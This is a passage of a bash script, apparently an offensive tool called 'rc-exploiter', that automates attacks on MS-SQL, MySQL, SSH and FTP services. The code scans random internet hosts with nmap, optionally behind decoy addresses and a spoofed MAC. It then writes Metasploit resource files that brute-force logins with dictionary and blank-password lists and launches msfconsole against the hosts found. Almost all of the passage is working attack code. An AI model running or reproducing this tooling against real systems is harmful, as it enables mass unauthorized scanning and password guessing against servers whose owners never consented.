- cd $IPATH/exploits/
- # using bash SED to replace value (dicionary file & report.log)
- cp ms-sql.rc ms-sql.bk > /dev/null 2<&1
- sed "s|R3PL4C3|$dIc|g" ms-sql.rc > copy.int
- sed "s|Lt0P4tH|$IPATH/logs/[ms-sql].log|g" copy.int > copy2.int
- mv copy2.int ms-sql.rc > /dev/null 2<&1
- cd $IPATH
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES. ] ${Reset};
- # start postgresql+metasploit db
- # /etc/init.d/postgresql start > /dev/null 2>&1
- # /etc/init.d/metasploit start > /dev/null 2>&1
- service metasploit start > /dev/null 2>&1
- echo "START MSF SERVICES:YES" >> $IPATH/debug/debug.int
- # display cleaner command
- echo ${white}--------------------------------------------------------${Reset};
- echo ${YellowF}REMEMBER TO CLEAR DATABASE BEFOR EXIT METASPLOIT CONSOLE${Reset};
- echo ${RedF}msf '>' resource $IPATH/tempwork/cleaner.rc ${Reset};
- echo ${white}--------------------------------------------------------${Reset};
- # access msfdatabase
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE.. ] ${Reset};
- xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/msfdb.rc"
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOP MSF SERVICES.. ] ${Reset};
- zenity --warning --title="RC-EXPLOITER GENERATED FILES" --text "stored: $IPATH/tempwork/cleaner.rc\nstored: $IPATH/logs/[ms-sql].log" --width 480 > /dev/null 2>&1
- service metasploit stop > /dev/null 2>&1
- echo "STOP MSF SERVICES:YES" >> $IPATH/debug/debug.int
- # clean old files
- mv $IPATH/exploits/ms-sql.bk $IPATH/exploits/ms-sql.rc > /dev/null 2<&1
- rm $IPATH/exploits/copy.int > /dev/null 2>&1
- chown $user $IPATH/exploits/ms-sql.rc > /dev/null 2>&1
- else
- echo ${RedF}[x]::[ CURRENT TASK ABORTED ]${Reset};
- echo "MS-SQL-S:MANUAL:ABORT" >> $IPATH/debug/debug.int
- sleep 2
- fi
- else
- Colors;
- echo ${RedF}[x]::[quiting module]... ${Reset};
- echo "MS-SQL-S:CANCEL" >> $IPATH/debug/debug.int
- sleep 2
- fi
- }
- # ---------------
- # mysql exploiter
- # ---------------
- sh_3 () {
- Colors;
- # search in wan OR manually input rhosts
- aTv=$(zenity --list --title "ATTACK VECTOR" --text "SEARCH TARGETS IN WAN OR NO ?" --radiolist --column "Pick" --column "Option" TRUE "Scan WAN for hosts" FALSE "input RHOSTS manually" --width 350 --height 155) > /dev/null 2>&1
- if [ "$aTv" = "Scan WAN for hosts" ]; then
- echo "MYSQL:WAN:LOADED" >> $IPATH/debug/debug.int
- NUM=$(zenity --title "Nº LIMIT OF HOSTS TO FOUND" --text "Input the maximus nunber of random IP's to found\nChose from 1 to 1024 random hosts to found" --entry --width 350) > /dev/null 2>&1
- dIc=$(zenity --title "BRUTE FORCE DICIONARY" --text "input path of dicionary file\nexample: $IPATH/bin/user-passw.txt" --entry --width 350) > /dev/null 2>&1
- # use DECOY'S in scanning WAN networks?
- if [ "$Ch3" = "YES" ]; then
- # use decoys to scan wan networks
- echo "DECOY_IP_ADDR:$SPOOF" >> $IPATH/debug/debug.int
- nmap -sS -iR $NUM -D $SPOOF,$IP -PN -p 3306 --open --reason -oN $IPATH/logs/Random-Hosts[mysql].log | zenity --progress --pulsate --title "SCANNING WAN NETWORK" --text="LOGFILE: Random-Hosts[mysql].log\nHOSTS: $NUM ONLY: open PORTS: 3306\n---\nUSING DECOY: $SPOOF\nSPOOFED MAC: $st" --percentage=0 --auto-close --width 350 > /dev/null 2>&1
- else
- # default (dont use decoys)
- nmap -sS -iR $NUM -PN -p 3306 --open --reason -oN $IPATH/logs/Random-Hosts[mysql].log | zenity --progress --pulsate --title "SCANNING WAN NETWORK" --text="LOGFILE: Random-Hosts[mysql].log\nHOSTS: $NUM ONLY: open PORTS: 3306\n---\nSPOOFED MAC: $st" --percentage=0 --auto-close --width 350 > /dev/null 2>&1
- fi
- echo ""
- # display on screen hosts found
- cat $IPATH/logs/Random-Hosts[mysql].log
- echo ""
- # generate (settings) resource file
- rhosts=$(zenity --title="Input RHOSTS" --text "example: 192.44.100.86 182.11.100.23" --entry --width 360) > /dev/null 2>&1
- if [ "$?" -eq "0" ]; then
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ BUILDING RC FILES.. ] ${Reset};
- echo "hosts -a $rhosts" > $IPATH/tempwork/msfdb.rc
- echo "setg RHOSTS $rhosts" >> $IPATH/tempwork/msfdb.rc
- echo "setg MYSQL_PASS_FILE $dIc" >> $IPATH/tempwork/msfdb.rc
- echo "setg THREADS 3" >> $IPATH/tempwork/msfdb.rc
- echo "resource $IPATH/exploits/mysql.rc" >> $IPATH/tempwork/msfdb.rc
- # generate (cleaner) resource file
- echo "hosts -d" > $IPATH/tempwork/cleaner.rc
- echo "unset -g RHOST RHOSTS MYSQL_PASS_FILE THREADS" >> $IPATH/tempwork/cleaner.rc
- echo "sleep 3" >> $IPATH/tempwork/cleaner.rc
- echo "exit -y" >> $IPATH/tempwork/cleaner.rc
- chown $user $IPATH/tempwork/cleaner.rc > /dev/null 2>&1
- chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
- chown $user $IPATH/logs/Random-Hosts[mysql].log > /dev/null 2>&1
- cd $IPATH/exploits/
- # using bash SED to replace value (report.log)
- cp mysql.rc mysql.bk > /dev/null 2<&1
- sed "s|Lt0P4tH|$IPATH/logs/[mysql].log|g" mysql.rc > copy.int
- mv copy.int mysql.rc > /dev/null 2<&1
- cd $IPATH
- # store in debug.int
- echo "RHOSTS:$rhosts" >> $IPATH/debug/debug.int
- echo "MYSQL_PASS_FILE:$dIc" >> $IPATH/debug/debug.int
- # start postgresql+metasploit db
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES. ] ${Reset};
- # /etc/init.d/postgresql start > /dev/null 2>&1
- # /etc/init.d/metasploit start > /dev/null 2>&1
- if [ "$DiStR0" = "Kali" ]; then
- service postgresql start > /dev/null 2>&1
- service metasploit start > /dev/null 2>&1
- else
- service metasploit start > /dev/null 2>&1
- fi
- # display cleaner command
- echo "START MSF SERVICES:YES" >> $IPATH/debug/debug.int
- echo ${white}--------------------------------------------------------${Reset};
- echo ${YellowF}REMEMBER TO CLEAR DATABASE BEFOR EXIT METASPLOIT CONSOLE${Reset};
- echo ${RedF}msf '>' resource $IPATH/tempwork/cleaner.rc ${Reset};
- echo ${white}--------------------------------------------------------${Reset};
- # access msfdatabase
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE.. ] ${Reset};
- xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/msfdb.rc"
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOP MSF SERVICES.. ] ${Reset};
- zenity --warning --title="RC-EXPLOITER GENERATED FILES" --text "stored: $IPATH/tempwork/cleaner.rc\nstored: $IPATH/logs/[mysql].log" --width 480 > /dev/null 2>&1
- service metasploit stop > /dev/null 2>&1
- echo "STOP MSF SERVICES:YES" >> $IPATH/debug/debug.int
- # clean old files
- mv $IPATH/exploits/mysql.bk $IPATH/exploits/mysql.rc > /dev/null 2<&1
- chown $user $IPATH/exploits/mysql.rc > /dev/null 2>&1
- else
- echo ${RedF}[x]::[ CURRENT TASK ABORTED ]${Reset};
- echo "MYSQL:WAN:ABORT" >> $IPATH/debug/debug.int
- sleep 2
- fi
- elif [ "$aTv" = "input RHOSTS manually" ]; then
- echo "MYSQL:MANUAL:LOADED" >> $IPATH/debug/debug.int
- # imput manually RHOSTS
- rhosts=$(zenity --title="Input RHOSTS" --text "example: 192.44.100.86 182.11.100.23" --entry --width 360) > /dev/null 2>&1
- if [ "$?" -eq "0" ]; then
- dIc=$(zenity --title "BRUTE FORCE DICIONARY" --text "input path of dicionary file\nexample: $IPATH/bin/user-passw.txt" --entry --width 350) > /dev/null 2>&1
- # generate (settings) resource file
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ BUILDING RC FILES.. ] ${Reset};
- echo "setg RHOSTS $rhosts" > $IPATH/tempwork/msfdb.rc
- echo "setg MYSQL_PASS_FILE $dIc" >> $IPATH/tempwork/msfdb.rc
- echo "setg THREADS 3" >> $IPATH/tempwork/msfdb.rc
- echo "resource $IPATH/exploits/mysql.rc" >> $IPATH/tempwork/msfdb.rc
- # generate (cleaner) resource file
- echo "hosts -d" > $IPATH/tempwork/cleaner.rc
- echo "unset -g RHOST RHOSTS MYSQL_PASS_FILE THREADS" >> $IPATH/tempwork/cleaner.rc
- echo "sleep 3" >> $IPATH/tempwork/cleaner.rc
- echo "exit -y" >> $IPATH/tempwork/cleaner.rc
- chown $user $IPATH/tempwork/cleaner.rc > /dev/null 2>&1
- chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
- cd $IPATH/exploits/
- # using bash SED to replace value (report.log)
- cp mysql.rc mysql.bk > /dev/null 2<&1
- sed "s|Lt0P4tH|$IPATH/logs/[mysql].log|g" mysql.rc > copy.int
- mv copy.int mysql.rc > /dev/null 2<&1
- cd $IPATH
- # store in debug.int
- echo "RHOSTS:$rhosts" >> $IPATH/debug/debug.int
- echo "MYSQL_PASS_FILE:$dIc" >> $IPATH/debug/debug.int
- # start postgresql+metasploit db
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES. ] ${Reset};
- # /etc/init.d/postgresql start > /dev/null 2>&1
- # /etc/init.d/metasploit start > /dev/null 2>&1
- if [ "$DiStR0" = "Kali" ]; then
- service postgresql start > /dev/null 2>&1
- service metasploit start > /dev/null 2>&1
- else
- service metasploit start > /dev/null 2>&1
- fi
- # display cleaner command
- echo "START MSF SERVICES:YES" >> $IPATH/debug/debug.int
- echo ${white}--------------------------------------------------------${Reset};
- echo ${YellowF}REMEMBER TO CLEAR DATABASE BEFOR EXIT METASPLOIT CONSOLE${Reset};
- echo ${RedF}msf '>' resource $IPATH/tempwork/cleaner.rc ${Reset};
- echo ${white}--------------------------------------------------------${Reset};
- # access msfdatabase
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE.. ] ${Reset};
- xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/msfdb.rc"
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOP MSF SERVICES.. ] ${Reset};
- zenity --warning --title="RC-EXPLOITER GENERATED FILES" --text "stored: $IPATH/tempwork/cleaner.rc\nstored: $IPATH/logs/[mysql].log" --width 480 > /dev/null 2>&1
- service metasploit stop > /dev/null 2>&1
- echo "STOP MSF SERVICES:YES" >> $IPATH/debug/debug.int
- # clean old files
- mv $IPATH/exploits/mysql.bk $IPATH/exploits/mysql.rc > /dev/null 2<&1
- chown $user $IPATH/exploits/mysql.rc > /dev/null 2>&1
- else
- echo ${RedF}[x]::[ CURRENT TASK ABORTED ]${Reset};
- echo "MSYSQL:MANUAL:ABORT" >> $IPATH/debug/debug.int
- sleep 2
- fi
- else
- Colors;
- echo ${RedF}[x]::[quiting module]... ${Reset};
- echo "MYSQL:CANCEL" >> $IPATH/debug/debug.int
- sleep 2
- fi
- }
- # -------------
- # ssh exploiter
- # -------------
- sh_4 () {
- Colors;
- # search in wan OR manually input rhosts
- aTv=$(zenity --list --title "ATTACK VECTOR" --text "SEARCH TARGETS IN WAN OR NO ?" --radiolist --column "Pick" --column "Option" TRUE "Scan WAN for hosts" FALSE "input RHOSTS manually" --width 350 --height 155) > /dev/null 2>&1
- if [ "$aTv" = "Scan WAN for hosts" ]; then
- echo "SSH:WAN:LOADED" >> $IPATH/debug/debug.int
- NUM=$(zenity --title "Nº LIMIT OF HOSTS TO FOUND" --text "Input the maximus nunber of random IP's to found\nChose from 1 to 1024 random hosts to found" --entry --width 350) > /dev/null 2>&1
- dIc=$(zenity --title "BRUTE FORCE DICIONARY PATH" --text "input path of dicionary file\nexample: $IPATH/bin/user-names.txt" --entry --width 350) > /dev/null 2>&1
- # use DECOY'S in scanning WAN networks?
- if [ "$Ch3" = "YES" ]; then
- # use decoys to scan wan networks
- echo "DECOY_IP_ADDR:$SPOOF" >> $IPATH/debug/debug.int
- nmap -sS -iR $NUM -D $SPOOF,$IP -PN -p 22 --open --reason -oN $IPATH/logs/Random-Hosts[SSH].log | zenity --progress --pulsate --title "SCANNING WAN NETWORKS" --text="LOGFILE: Random-Hosts[SSH].log\nHOSTS: $NUM ONLY: open PORTS: 22\n---\nUSING DECOY: $SPOOF\nSPOOFED MAC: $st" --percentage=0 --auto-close --width 350 > /dev/null 2>&1
- else
- # default (dont use decoys)
- nmap -sS -iR $NUM -PN -p 22 --open --reason -oN $IPATH/logs/Random-Hosts[SSH].log | zenity --progress --pulsate --title "SCANNING WAN NETWORKS" --text="LOGFILE: Random-Hosts[SSH].log\nHOSTS: $NUM ONLY: open PORTS: 22\n---\nSPOOFED MAC: $st" --percentage=0 --auto-close --width 350 > /dev/null 2>&1
- fi
- echo ""
- # display on screen hosts found
- cat $IPATH/logs/Random-Hosts[SSH].log
- echo ""
- # generate (settings) resource file
- rhosts=$(zenity --title="Input RHOSTS" --text "example: 192.44.100.86 182.11.100.23" --entry --width 360) > /dev/null 2>&1
- if [ "$?" -eq "0" ]; then
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ BUILDING RC FILES.. ] ${Reset};
- echo "hosts -a $rhosts" > $IPATH/tempwork/msfdb.rc
- echo "setg RHOSTS $rhosts" >> $IPATH/tempwork/msfdb.rc
- echo "setg USER_FILE $dIc" >> $IPATH/tempwork/msfdb.rc
- echo "setg PASS_FILE $dIc" >> $IPATH/tempwork/msfdb.rc
- echo "setg THREADS 3" >> $IPATH/tempwork/msfdb.rc
- echo "setg BLANK_PASSWORDS true" >> $IPATH/tempwork/msfdb.rc
- echo "setg STOP_ON_SUCCESS true" >> $IPATH/tempwork/msfdb.rc
- echo "resource $IPATH/exploits/ssh.rc" >> $IPATH/tempwork/msfdb.rc
- chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
- # generate (cleaner) resource file
- echo "hosts -d" > $IPATH/tempwork/cleaner.rc
- echo "unset -g RHOST RHOSTS USERNAME USER_FILE PASS_FILE BLANK_PASSWORDS STOP_ON_SUCCESS THREADS" >> $IPATH/tempwork/cleaner.rc
- echo "sleep 3" >> $IPATH/tempwork/cleaner.rc
- echo "exit -y" >> $IPATH/tempwork/cleaner.rc
- chown $user $IPATH/tempwork/cleaner.rc > /dev/null 2>&1
- chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
- chown $user $IPATH/logs/Random-Hosts[SSH].log > /dev/null 2>&1
- cd $IPATH/exploits/
- # using bash SED to replace value (report.log)
- cp ssh.rc ssh.bk > /dev/null 2<&1
- sed "s|Lt0P4tH|$IPATH/logs/[ssh].log|g" ssh.rc > copy.int
- mv copy.int ssh.rc > /dev/null 2<&1
- cd $IPATH
- # store in debug.int
- echo "RHOSTS:$rhosts" >> $IPATH/debug/debug.int
- echo "USER_FILE:$dIc" >> $IPATH/debug/debug.int
- echo "PASS_FILE:$dIc" >> $IPATH/debug/debug.int
- # start postgresql+metasploit db
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES. ] ${Reset};
- # /etc/init.d/postgresql start > /dev/null 2>&1
- # /etc/init.d/metasploit start > /dev/null 2>&1
- if [ "$DiStR0" = "Kali" ]; then
- service postgresql start > /dev/null 2>&1
- service metasploit start > /dev/null 2>&1
- else
- service metasploit start > /dev/null 2>&1
- fi
- # display cleaner command
- echo "START MSF SERVICES:YES" >> $IPATH/debug/debug.int
- echo ${white}--------------------------------------------------------${Reset};
- echo ${YellowF}REMEMBER TO CLEAR DATABASE BEFOR EXIT METASPLOIT CONSOLE${Reset};
- echo ${RedF}msf '>' resource $IPATH/tempwork/cleaner.rc ${Reset};
- echo ${white}--------------------------------------------------------${Reset};
- # access msfdatabase
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE.. ] ${Reset};
- xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/msfdb.rc"
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOP MSF SERVICES.. ] ${Reset};
- zenity --warning --title="RC-EXPLOITER GENERATED FILES" --text "stored: $IPATH/tempwork/cleaner.rc\nstored: $IPATH/logs/[ssh].log" --width 480 > /dev/null 2>&1
- service metasploit stop > /dev/null 2>&1
- echo "STOP MSF SERVICES:YES" >> $IPATH/debug/debug.int
- # clean old files
- mv $IPATH/exploits/ssh.bk $IPATH/exploits/ssh.rc > /dev/null 2<&1
- chown $user $IPATH/exploits/ssh.rc > /dev/null 2>&1
- else
- echo ${RedF}[x]::[ CURRENT TASK ABORTED ]${Reset};
- echo "SSH:WAN:ABORT" >> $IPATH/debug/debug.int
- sleep 2
- fi
- elif [ "$aTv" = "input RHOSTS manually" ]; then
- echo "SSH:MANUAL:LOADED" >> $IPATH/debug/debug.int
- # imput manually RHOSTS
- rhosts=$(zenity --title="Input RHOSTS" --text "example: 192.44.100.86 182.11.100.23" --entry --width 360) > /dev/null 2>&1
- if [ "$?" -eq "0" ]; then
- dIc=$(zenity --title "BRUTE FORCE DICIONARY PATH" --text "input path of dicionary file\nexample: $IPATH/bin/user-names.txt" --entry --width 350) > /dev/null 2>&1
- # generate (settings) resource file
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ BUILDING RC FILES.. ] ${Reset};
- echo "setg RHOSTS $rhosts" > $IPATH/tempwork/msfdb.rc
- echo "setg USER_FILE $dIc" >> $IPATH/tempwork/msfdb.rc
- echo "setg PASS_FILE $dIc" >> $IPATH/tempwork/msfdb.rc
- echo "setg THREADS 3" >> $IPATH/tempwork/msfdb.rc
- echo "setg BLANK_PASSWORDS true" >> $IPATH/tempwork/msfdb.rc
- echo "setg STOP_ON_SUCCESS true" >> $IPATH/tempwork/msfdb.rc
- echo "resource $IPATH/exploits/ssh.rc" >> $IPATH/tempwork/msfdb.rc
- # generate (cleaner) resource file
- echo "hosts -d" > $IPATH/tempwork/cleaner.rc
- echo "unset -g RHOST RHOSTS USERNAME USER_FILE PASS_FILE BLANK_PASSWORDS STOP_ON_SUCCESS THREADS" >> $IPATH/tempwork/cleaner.rc
- echo "sleep 3" >> $IPATH/tempwork/cleaner.rc
- echo "exit -y" >> $IPATH/tempwork/cleaner.rc
- chown $user $IPATH/tempwork/cleaner.rc > /dev/null 2>&1
- chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
- cd $IPATH/exploits/
- # using bash SED to replace value (report.log)
- cp ssh.rc ssh.bk > /dev/null 2<&1
- sed "s|Lt0P4tH|$IPATH/logs/[ssh].log|g" ssh.rc > copy.int
- mv copy.int ssh.rc > /dev/null 2<&1
- cd $IPATH
- # store in debug.int
- echo "RHOSTS:$rhosts" >> $IPATH/debug/debug.int
- echo "USER_FILE:$dIc" >> $IPATH/debug/debug.int
- echo "PASS_FILE:$dIc" >> $IPATH/debug/debug.int
- # start postgresql+metasploit db
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES. ] ${Reset};
- # /etc/init.d/postgresql start > /dev/null 2>&1
- # /etc/init.d/metasploit start > /dev/null 2>&1
- if [ "$DiStR0" = "Kali" ]; then
- service postgresql start > /dev/null 2>&1
- service metasploit start > /dev/null 2>&1
- else
- service metasploit start > /dev/null 2>&1
- fi
- # display cleaner command
- echo "START MSF SERVICES:YES" >> $IPATH/debug/debug.int
- echo ${white}--------------------------------------------------------${Reset};
- echo ${YellowF}REMEMBER TO CLEAR DATABASE BEFOR EXIT METASPLOIT CONSOLE${Reset};
- echo ${RedF}msf '>' resource $IPATH/tempwork/cleaner.rc ${Reset};
- echo ${white}--------------------------------------------------------${Reset};
- # access msfdatabase
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE.. ] ${Reset};
- xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/msfdb.rc"
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOP MSF SERVICES.. ] ${Reset};
- zenity --warning --title="RC-EXPLOITER GENERATED FILES" --text "stored: $IPATH/tempwork/cleaner.rc\nstored: $IPATH/logs/[ssh].log" --width 480 > /dev/null 2>&1
- service metasploit stop > /dev/null 2>&1
- echo "STOP MSF SERVICES:YES" >> $IPATH/debug/debug.int
- # clean old files
- mv $IPATH/exploits/ssh.bk $IPATH/exploits/ssh.rc > /dev/null 2<&1
- chown $user $IPATH/exploits/ssh.rc > /dev/null 2>&1
- else
- echo ${RedF}[x]::[ CURRENT TASK ABORTED ]${Reset};
- echo "SSH:MANUAL:ABORT" >> $IPATH/debug/debug.int
- sleep 2
- fi
- else
- Colors;
- echo ${RedF}[x]::[quiting module]... ${Reset};
- echo "SSH:CANCEL" >> $IPATH/debug/debug.int
- sleep 2
- fi
- }
- # -------------
- # ftp exploiter
- # -------------
- sh_5 () {
- Colors;
- # search in wan OR manually input rhosts
- aTv=$(zenity --list --title "ATTACK VECTOR" --text "SEARCH TARGETS IN WAN OR NO ?" --radiolist --column "Pick" --column "Option" TRUE "Scan WAN for hosts" FALSE "input RHOSTS manually" --width 350 --height 155) > /dev/null 2>&1
- if [ "$aTv" = "Scan WAN for hosts" ]; then
- echo "FTP:WAN:LOADED" >> $IPATH/debug/debug.int
- NUM=$(zenity --title "Nº LIMIT OF HOSTS TO FOUND" --text "Input the maximus nunber of random IP's to found\nChose from 1 to 1024 random hosts to found" --entry --width 350) > /dev/null 2>&1
- dIc=$(zenity --title "BRUTE FORCE DICIONARY PATH" --text "input path of dicionary file\nexample: $IPATH/bin/user-names.txt" --entry --width 350) > /dev/null 2>&1
- # use DECOY'S in scanning WAN networks?
- if [ "$Ch3" = "YES" ]; then
- # use decoys to scan wan networks
- echo "DECOY_IP_ADDR:$SPOOF" >> $IPATH/debug/debug.int
- nmap -sS -iR $NUM -D $SPOOF,$IP -PN -p 21 --open --reason -oN $IPATH/logs/Random-Hosts[FTP].log | zenity --progress --pulsate --title "SCANNING WAN NETWORKS" --text="LOGFILE: Random-Hosts[FTP].log\nHOSTS: $NUM ONLY: open PORTS: 21\n---\nUSING DECOY: $SPOOF\nSPOOFED MAC: $st" --percentage=0 --auto-close --width 350 > /dev/null 2>&1
- else
- # default (dont use decoys)
- nmap -sS -iR $NUM -PN -p 21 --open --reason -oN $IPATH/logs/Random-Hosts[FTP].log | zenity --progress --pulsate --title "SCANNING WAN NETWORKS" --text="LOGFILE: Random-Hosts[FTP].log\nHOSTS: $NUM ONLY: open PORTS: 21\n---\nSPOOFED MAC: $st" --percentage=0 --auto-close --width 350 > /dev/null 2>&1
- fi
- echo ""
- # display on screen hosts found
- cat $IPATH/logs/Random-Hosts[FTP].log
- echo ""
- # generate (settings) resource file
- rhosts=$(zenity --title="Input RHOSTS" --text "example: 192.44.100.86 182.11.100.23" --entry --width 360) > /dev/null 2>&1
- if [ "$?" -eq "0" ]; then
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ BUILDING RC FILES.. ] ${Reset};
- echo "hosts -a $rhosts" > $IPATH/tempwork/msfdb.rc
- echo "setg RHOSTS $rhosts" >> $IPATH/tempwork/msfdb.rc
- echo "setg USER_FILE $dIc" >> $IPATH/tempwork/msfdb.rc
- echo "setg PASS_FILE $dIc" >> $IPATH/tempwork/msfdb.rc
- echo "setg THREADS 3" >> $IPATH/tempwork/msfdb.rc
- echo "setg BLANK_PASSWORDS true" >> $IPATH/tempwork/msfdb.rc
- echo "setg STOP_ON_SUCCESS true" >> $IPATH/tempwork/msfdb.rc
- echo "resource $IPATH/exploits/ftp.rc" >> $IPATH/tempwork/msfdb.rc
- chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
- # generate (cleaner) resource file
- echo "hosts -d" > $IPATH/tempwork/cleaner.rc
- echo "unset -g RHOST RHOSTS USERNAME USER_FILE PASS_FILE BLANK_PASSWORDS STOP_ON_SUCCESS THREADS" >> $IPATH/tempwork/cleaner.rc
- echo "sleep 3" >> $IPATH/tempwork/cleaner.rc
- echo "exit -y" >> $IPATH/tempwork/cleaner.rc
- chown $user $IPATH/tempwork/cleaner.rc > /dev/null 2>&1
- chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
- chown $user $IPATH/logs/Random-Hosts[FTP].log > /dev/null 2>&1
- cd $IPATH/exploits/
- # using bash SED to replace value (report.log)
- cp ftp.rc ftp.bk > /dev/null 2<&1
- sed "s|Lt0P4tH|$IPATH/logs/[ftp].log|g" ftp.rc > copy.int
- mv copy.int ftp.rc > /dev/null 2<&1
- cd $IPATH
- # store in debug.int
- echo "RHOSTS:$rhosts" >> $IPATH/debug/debug.int
- echo "USER_FILE:$dIc" >> $IPATH/debug/debug.int
- echo "PASS_FILE:$dIc" >> $IPATH/debug/debug.int
- # start postgresql+metasploit db
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF SERVICES. ] ${Reset};
- # /etc/init.d/postgresql start > /dev/null 2>&1
- # /etc/init.d/metasploit start > /dev/null 2>&1
- if [ "$DiStR0" = "Kali" ]; then
- service postgresql start > /dev/null 2>&1
- service metasploit start > /dev/null 2>&1
- else
- service metasploit start > /dev/null 2>&1
- fi
- # display cleaner command
- echo "START MSF SERVICES:YES" >> $IPATH/debug/debug.int
- echo ${white}--------------------------------------------------------${Reset};
- echo ${YellowF}REMEMBER TO CLEAR DATABASE BEFOR EXIT METASPLOIT CONSOLE${Reset};
- echo ${RedF}msf '>' resource $IPATH/tempwork/cleaner.rc ${Reset};
- echo ${white}--------------------------------------------------------${Reset};
- # access msfdatabase
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ START MSF CONSOLE.. ] ${Reset};
- xterm -T "METASPLOIT CONSOLE" -geometry 115x23 -e "sudo msfconsole -r $IPATH/tempwork/msfdb.rc"
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ STOP MSF SERVICES.. ] ${Reset};
- zenity --warning --title="RC-EXPLOITER GENERATED FILES" --text "stored: $IPATH/tempwork/cleaner.rc\nstored: $IPATH/logs/[ftp].log" --width 480 > /dev/null 2>&1
- service metasploit stop > /dev/null 2>&1
- echo "STOP MSF SERVICES:YES" >> $IPATH/debug/debug.int
- # clean old files
- mv $IPATH/exploits/ftp.bk $IPATH/exploits/ftp.rc > /dev/null 2<&1
- chown $user $IPATH/exploits/ftp.rc > /dev/null 2>&1
- else
- echo ${RedF}[x]::[ CURRENT TASK ABORTED ]${Reset};
- echo "FTP:WAN:ABORT" >> $IPATH/debug/debug.int
- sleep 2
- fi
- elif [ "$aTv" = "input RHOSTS manually" ]; then
- echo "FTP:MANUAL:LOADED" >> $IPATH/debug/debug.int
- # imput manually RHOSTS
- rhosts=$(zenity --title="Input RHOSTS" --text "example: 192.44.100.86 182.11.100.23" --entry --width 360) > /dev/null 2>&1
- if [ "$?" -eq "0" ]; then
- dIc=$(zenity --title "BRUTE FORCE DICIONARY PATH" --text "input path of dicionary file\nexample: $IPATH/bin/user-names.txt" --entry --width 350) > /dev/null 2>&1
- # generate (settings) resource file
- echo ${BlueF}[*]${RedF}::${BlueF}[Please wait]${RedF}::${GreenF}[ BUILDING RC FILES.. ] ${Reset};
- echo "setg RHOSTS $rhosts" > $IPATH/tempwork/msfdb.rc
- echo "setg USER_FILE $dIc" >> $IPATH/tempwork/msfdb.rc
- echo "setg PASS_FILE $dIc" >> $IPATH/tempwork/msfdb.rc
- echo "setg THREADS 3" >> $IPATH/tempwork/msfdb.rc
- echo "setg BLANK_PASSWORDS true" >> $IPATH/tempwork/msfdb.rc
- echo "setg STOP_ON_SUCCESS true" >> $IPATH/tempwork/msfdb.rc
- echo "resource $IPATH/exploits/ftp.rc" >> $IPATH/tempwork/msfdb.rc
- # generate (cleaner) resource file
- echo "hosts -d" > $IPATH/tempwork/cleaner.rc
- echo "unset -g RHOST RHOSTS USERNAME USER_FILE PASS_FILE BLANK_PASSWORDS STOP_ON_SUCCESS THREADS" >> $IPATH/tempwork/cleaner.rc
- echo "sleep 3" >> $IPATH/tempwork/cleaner.rc
- echo "exit -y" >> $IPATH/tempwork/cleaner.rc
- chown $user $IPATH/tempwork/cleaner.rc > /dev/null 2>&1
- chown $user $IPATH/tempwork/msfdb.rc > /dev/null 2>&1
- cd $IPATH/exploits/
- # using bash SED to replace value (report.log)
- cp ftp.rc ftp.bk > /dev/null 2<&1
- sed "s|Lt0P4tH|$IPATH/logs/[ftp].log|g" ftp.rc > copy.int
- mv copy.int ftp.rc > /dev/null 2<&1
- cd $IPATH
- # store in debug.int
- echo "RHOSTS:$rhosts" >> $IPATH/debug/debug.int
- echo "USER_FILE:$dIc" >> $IPATH/debug/debug.int
- echo "PASS_FILE:$dIc" >> $IPATH/debug/debug.int
- # start postgresql+metasploit db
